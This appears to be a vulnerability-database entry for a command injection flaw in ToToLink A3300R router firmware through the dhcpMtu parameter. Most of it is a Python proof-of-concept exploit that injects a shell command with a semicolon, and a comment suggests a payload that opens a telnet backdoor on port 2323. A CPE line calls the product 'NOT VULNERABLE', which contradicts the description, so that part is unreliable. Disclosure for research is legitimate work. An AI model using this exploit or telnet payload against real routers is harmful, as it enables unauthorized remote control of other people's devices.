An issue was discovered in ToToLink A3300R firmware v17.0.0cu.557_B20221024 allowing attackers to execute arbitrary commands via the dhcpMtu parameter to /cgi-bin/cstecgi.cgi.
cpe:2.3:h:totolink:a3300r:-:*:*:*:*:*:*:* - NOT VULNERABLE
ToToLink A3300R v17.0.0cu.557_B20221024
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
# Target URL (Replace with actual IP of the router)
target_url = "http://192.168.0.1/cgi-bin/cstecgi.cgi"
# Vulnerable parameter: dhcpMtu
# Payload injection: Using semicolon to chain a simple command (e.g., creating a file or telnet)
# Example: ;telnetd -p 2323&
payload = "; touch /tmp/poc_success;"
# Constructing the POST data
# Note: Other parameters might be required depending on the specific form structure
data = {
"dhcpMtu": payload,
"action": "0" # Example action value, may vary based on firmware logic
}
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
"Content-Type": "application/x-www-form-urlencoded"
}
try:
# Sending the malicious request
response = requests.post(target_url, data=data, headers=headers, timeout=5)
if response.status_code == 200:
print("[+] Request sent successfully.")
print(f"[+] Response: {response.text[:100]}")
print("[+] Check if the command was executed on the target device.")
else:
print(f"[-] Request failed with status code: {response.status_code}")
except Exception as e:
print(f"[-] An error occurred: {e}")